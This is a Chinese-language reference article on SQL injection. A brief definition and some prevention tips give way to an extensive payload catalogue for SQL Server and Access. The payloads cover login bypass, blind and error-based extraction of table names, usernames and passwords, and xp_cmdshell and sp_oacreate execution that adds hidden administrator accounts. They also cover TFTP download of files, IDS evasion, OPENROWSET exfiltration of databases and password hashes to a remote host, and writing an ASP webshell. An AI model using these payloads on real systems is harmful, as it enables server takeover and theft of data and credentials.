标题：sql注入
sql注入
sql注入攻击当应用程序使用输入内容来构造动态sql语句以访问数据库时，会发生sql注入攻击。如果代码使用存储过程，而这些存储过程作为包含未筛选的用户输入的字符串来传递，也会发生sql注入。sql注入可能导致攻击者使用应用程序登陆在数据库中执行命令。相关的SQL注入可以通过测试工具pangolin进行。如果应用程序使用特权过高的帐户连接到数据库，这种问题会变得很严重。在某些表单中，用户输入的内容直接用来构造动态sql命令，或者作为存储过程的输入参数，这些表单特别容易受到sql注入的攻击。而许多网站程序在编写时，没有对用户输入的合法性进行判断或者程序中本身的变量处理不当，使应用程序存在安全隐患。这样，用户就可以提交一段数据库查询的代码，根据程序返回的结果，获得一些敏感的信息或者控制整个服务器，于是sql注入就发生了。防止SQL注入归纳一下，主要有以下几点：
1.永远不要信任用户的输入。对用户的输入进行校验，可以通过正则表达式，或限制长度；对单引号和
双"-"进行转换等。
2.永远不要使用动态拼装sql，可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
3.永远不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接。
4.不要把机密信息直接存放，加密或者hash掉密码和敏感的信息。
5.应用的异常信息应该给出尽可能少的提示，最好使用自定义的错误信息对原始错误信息进行包装
6.sql注入的检测方法一般采取辅助软件或网站平台来检测，软件一般采用sql注入检测工具jsky，网站平台就有亿思网站安全平台检测工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入，XSS攻击等。
注入方法
方法1先猜表名 
And (Select count(*) from 表名)<>0 
猜列名 
And (Select count（列名） from 表名）<>0 
或者也可以这样
and exists (select * from 表名）
and exists (select 列名 from 表名）
返回正确的，那么写的表名或列名就是正确
这里要注意的是，exists这个不能应用于猜内容上，例如and exists (select len(user) from admin)>3 这样是不行的
现在很多人都是喜欢查询里面的内容，一旦iis没有关闭错误提示的，那么就可以利用报错方法轻松获得库里面的内容 
获得数据库连接用户名：；and user>0 
这个是小竹提出来的，我这里引用《SQL注入天书》里面的一段话来讲解：
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－
"重点在and user>0，我们知道，user是SQLServer的一个内置变量，它的值是当前连接的用户名，类型为nvarchar。拿一个 nvarchar的值跟int的数0比较，系统会先试图将nvarchar的值转成int型，当然，转的过程中肯定会出错，SQLServer的出错提示是：将nvarchar转换int异常，XXXX不能转换成int" 
－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－ 
看到这里大家明白了吧，报错的原理就是利用SQLserver内置的系统表进行转换查询，转换过程会出错，然后就会显示出在网页上，另外还有类似的and 1=(selet top 1 user from admin），这种语句也是可以爆出来的。；and db_name()>0 则是暴数据库名。
一旦关闭了IIS报错，那么还可以用union（联合查询）来查内容，主要语句就是 
Order by 10 
And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from admin 
And 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 from admin 
上面的order by 10主要就是查字段数目，admin就是表名，可以自己猜，user,passwd是列名 
反正就是返回正确即对，返回异常即错
另外还有十分常用的ascll码拆半法 
先要知道指定列名，例如user里的内容的长度
and (select len(user) from admin)=2 就是查询长度为不为2位，返回错误的增加或减少数字，一般这个数字不会太大，太大的就要放弃了，猜也多余
后面的逻辑符号可以根据不同要求更改的，
>；大于 <；小于 =就是等于咯，更新语句的话，=也可以表示传递符号 <>；就是不等
知道了长度后就可以开始猜解了
And (Select top 1 asc(mid(user,n,1)) from admin)>100 
n就是猜解的表名的第几位，最后的长度数字就是刚才猜解出来的列名长度了，And (Select top 1 asc(mid(user,1,1)) from admin)>100 就是猜解user里内容的第一位的ASCLL字符是不是大于100
正确的话，那么表示USER第一个字符的ASCLL码大于100，那么就猜>120，返回错误就是介于100－120之间，然后再一步一步的缩少，最终得到正确字符XXX，然后用ASCLL转换器吧这个转换成普通字符就可以了
然后就是第二位 And (Select top 1 asc(mid(user,2,1)) from admin)>100 一直猜下去
加在url后面，列名表名还是先猜解，返回正确的代表帐号的ascll码大于100，那么就再向前猜，直到报错，把猜出来的ascll码拿去ascll转换器转换就可以了，中文是负数，加上asb取绝对值
And (Select top 1 asb(asc(mid(user,n,1))) from admin)>15320 
得到之后就记得在数字前加-号，不然ASCLL转换器转换不来的，中文在ASCLL码里是-23423这样的，所以猜起来挺麻烦
这个猜解速度比较慢，但是效果最好，最具有广泛性方法2后台身份验证绕过漏洞
验证绕过漏洞就是'or'='or'后台绕过漏洞，利用的就是AND和OR的运算规则，从而造成后台脚本逻辑性错误
例如管理员的账号密码都是admin，那么再比如后台的数据库查询语句是
user=request("user")
passwd=request("passwd")
sql='select admin from adminbate where user='&'''&user&'''&' and passwd='&'''&passwd&'''
那么我使用'or 'a'='a来做用户名密码的话，那么查询就变成了
select admin from adminbate where user=''or 'a'='a' and passwd=''or 'a'='a'
这样的话，根据运算规则，这里一共有4个查询语句，那么查询结果就是 假or真and假or真，先算and 再算or，最终结果为真，这样就可以进到后台了
这种漏洞存在必须要有2个条件，第一个：在后台验证代码上，账号密码的查询是要同一条查询语句，也就是类似
sql="select * from admin where username='"&username&'&"passwd='"&passwd&'
如果一旦账号密码是分开查询的，先查帐号，再查密码，这样的话就没有办法了。
第二就是要看密码加不加密，一旦被MD5加密或者其他加密方式加密的，那就要看第一种条件有没有可以，没有达到第一种条件的话，那就没有戏了方法3防御方法 
对于怎么防御SQL注入呢，这个网上很多，我这里讲几个 
如果自己编写防注代码，一般是先定义一个函数，再在里面写入要过滤的关键词，如select ; “”；from；等，这些关键词都是查询语句最常用的词语，一旦过滤了，那么用户自己构造提交的数据就不会完整地参与数据库的操作。
当然如果你的网站提交的数据全部都是数字的，可以使用小竹提供的方法 
Function SafeRequest(ParaName,ParaType) 
'--- 传入参数 --- 
'ParaName：参数名称-字符型 
'ParaType：参数类型-数字型（1表示以上参数是数字，0表示以上参数为字符） 
Dim ParaValue 
ParaValue=Request(ParaName) 
If ParaType=1 then 
If not isNumeric(ParaValue) then 
Response.write "参数" & ParaName & "必须为数字型！" 
Response.end 
End if 
Else 
ParaValue=replace(ParaValue,"'","''") 
End if 
SafeRequest=ParaValue 
End function 
然后就用SafeRequest（）来过滤参数 ，检查参数是否为数字，不是数字的就不能通过。小结SQL注入的手法相当灵活，在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析，构造巧妙的SQL语句，从而成功获取想要的数据，是高手与“菜鸟”的根本区别。
sql注入语句
1.判断有无注入点
; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面 1<；返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len（用户字段名称name)>0) 
and 1=(select count(*) from admin where len（密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0) 
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
就这样一次加一个字符这样猜，猜到够你刚才猜出来的多少位了就对了，帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
group by users. id having 1=1-- 
group by users. id,users.username,users.password,users.privs having 1=1--
; insert into users values( 666,attacker,foobar,0xffff )--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable- 
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
(login_id)- 
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
(login_id,login_name)- 
UNION SELECT TOP 1 login_name FROM logintable- 
UNION SELECT TOP 1 password FROM logintable where login_name=Rahul--
看服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--
看数据库连接账号的权限，返回正常，证明是服务器角色sysadmin权限。
and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--
判断连接数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA）
and sa=(SELECT System_user)--
and user_name()=dbo--
and 0<>(select user_name()--
看xp_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--
xp_cmdshell被删除，恢复，支持绝对路径的恢复
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--
反向PING自己实验
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加帐号
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:\WINNT\system32\cmd.exe
/c net user jiaoniang$ 1866574 /add--
创建一个虚拟目录E盘：
;declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e：\"--
访问属性：（配合写入一个webshell） 
declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
爆库 特殊技巧：：%5c=\ 或者把/和\ 修改%5提交 
and 0<>(select top 1 paths from newtable)--
得到库名（从1到5都是系统的id，6以上才可以判断）
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin 
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin 
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id 
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段，假设为 user_id 
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in 
(id,...)) 来暴出其他的字段 
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名 
依次可以得到密码。假设存在user_id username,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名 
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address)) 
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值 
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin 
id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用）
得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));-- 
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread
@rootkey=HKEY_LOCAL_MACHINE,@key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\,@value_name=/,
values=@testOUTPUT insert into paths(path) values(@test)--
;use ku1;-- 
;create table cmd (str image);-- 建立image类型的表cmd
存在xp_cmdshell的测试过程：
;exec master..xp_cmdshell dir 
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号
;exec master.dbo.sp_password null,jiaoniang$,1866574;-- 
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;-- 
;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes
/active:yes /add;-- 
;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;-- 
exec master..xp_servicecontrol start,schedule 启动服务
exec master..xp_servicecontrol start,server 
; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C：\WINNT\system32
\cmd.exe /c net user jiaoniang$ 1866574 /add 
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C：\WINNT\system32\cmd.exe
/c net localgroup administrators jiaoniang$ /add 
; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\ 
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\ 
;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat
如果被限制则可以。
select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)
查询构造：
SELECT * FROM news WHERE id=... AND topic=... AND ..... 
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <> 
select 123;-- 
;use master;-- 
:a or name like fff%;-- 显示有一个叫ffff的用户哈。
and 1<>(select count(email) from [user]);-- 
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;-- 
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;-- 
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;-- 
;update [users] set email=(select top 1 count(id) from password) where name=ffff;-- 
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- 
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;-- 
上面的语句是得到数据库中的第一个用户表，并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad 
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char
(0x69)+char(0x73),0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123,admin--,password,0xffff)--
;and user>0 
;and (select count(*) from sysobjects)>0 
;and (select count(*) from mysysobjects)>0 //为access数据库
枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>；刚才得到的表名）。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);-- 
然后id=1552 and exists(select * from aaa where aaa>5) 
读出第二个表，一个个的读出，直到没有为止。
读字段是这样：
;update aaa set aaa=(select top 1 col_name(object_id（表名），1));-- 
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名
;update aaa set aaa=(select top 1 col_name(object_id（表名），2));-- 
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名
[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名] 
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>；你得到的表名 查出一个加一个])
[ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2，…） 
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名] 
update 表名 set 字段=(select top 1 col_name(object_id（要查询的数据表名），字段列如：1) [ where 条件]
绕过IDS的检测[使用变量] 
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\ 
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\
开启远程数据库 
基本语法 
select * from OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1 ) 
参数： (1) OLEDB Provider name 
其中连接字符串参数可以是任何端口用来连接，比如 
select * from OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table
复制目标主机的整个数据库insert所有远程表到本地表。
基本语法：
insert into OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1) select * from table2 
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from
table2 
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases) 
select * from master.dbo.sysdatabases 
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects) 
select * from user_database.dbo.sysobjects 
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns) 
select * from user_database.dbo.syscolumns 
复制数据库：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * fromdatabase..table2
复制哈西表（HASH）登录密码的hash存储于sysxlogins中。方法如下：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select
* from database.dbo.sysxlogins 
得到hash之后，就可以进行暴力破解。
遍历目录的方法：先创建一个临时表：temp 
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 
;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 获得子目录列表 
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 获得所有子目录的目录树结构，并寸入temp表中 
;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某个文件的内容 
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;-- 
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;-- 
;insert into temp(id) exec master.dbo.xp_cmdshell cscript. C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc 
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- （xp_dirtree适用权限PUBLIC） 
写入表：
语句1：and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));-- 
语句2：and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));-- 
语句3：and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));-- 
语句4：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));-- 
语句5：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));-- 
语句6：and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));-- 
语句7：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));-- 
语句8：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));-- 
语句9：and 1=(SELECT IS_MEMBER(db_owner));--
把路径写到表中去：
;create table dirs(paths varchar(100),id int)--
;insert dirs exec master.dbo.xp_dirtree c:\--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
;create table dirs1(paths varchar(100),id int)-- 
;insert dirs exec master.dbo.xp_dirtree e:\web-- 
and 0<>(select top 1 paths from dirs1)--
把数据库备份到网页目录：下载 
;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc) 
and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 参看相关表。
and 1=(select user_id from USER_LOGIN) 
and 0=(select user from USER_LOGIN where user>1)
-=- wscript.shell example -=-
declare @o int 
exec sp_oacreate wscript.shell,@o out 
exec sp_oamethod @o,run,NULL,notepad.exe
; declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,notepad.exe--
declare @o int,@f int,@t int,@ret int 
declare @line varchar(8000) 
exec sp_oacreate scripting.filesystemobject,@o out 
exec sp_oamethod @o,opentextfile,@f out,c:\boot.ini,1 
exec @ret = sp_oamethod @f,readline,@line out 
while( @ret = 0 ) 
begin 
print @line 
exec @ret = sp_oamethod @f,readline,@line out 
end
declare @o int,@f int,@t int,@ret int 
exec sp_oacreate scripting.filesystemobject,@o out 
exec sp_oamethod @o,createtextfile,@f out,c:\inetpub\wwwroot\foo.asp,1 
exec @ret = sp_oamethod @f,writeline,NULL,
<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
declare @o int,@ret int 
exec sp_oacreate speech.voicetext,@o out 
exec sp_oamethod @o,register,NULL,foo,bar 
exec sp_oasetproperty @o,speed,150 
exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to,us,528 waitfor delay 00:00:05
; declare @o int,@ret int exec sp_oacreate speech.voicetext,@o out exec sp_oamethod @o,register,NULL,foo,bar exec
sp_oasetproperty @o,speed,150 exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to us,528 waitfor delay 00:00:05--
xp_dirtree适用权限PUBLIC
exec master.dbo.xp_dirtree c:\
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。
create table dirs(paths varchar(100),id int)
建表，这里建的表是和上面xp_dirtree相关连，字段相等、类型相同。
insert dirs exec master.dbo.xp_dirtree c:\
只要我们建表与存储进程返回的字段相定义相等就能够执行！达到写表的效果.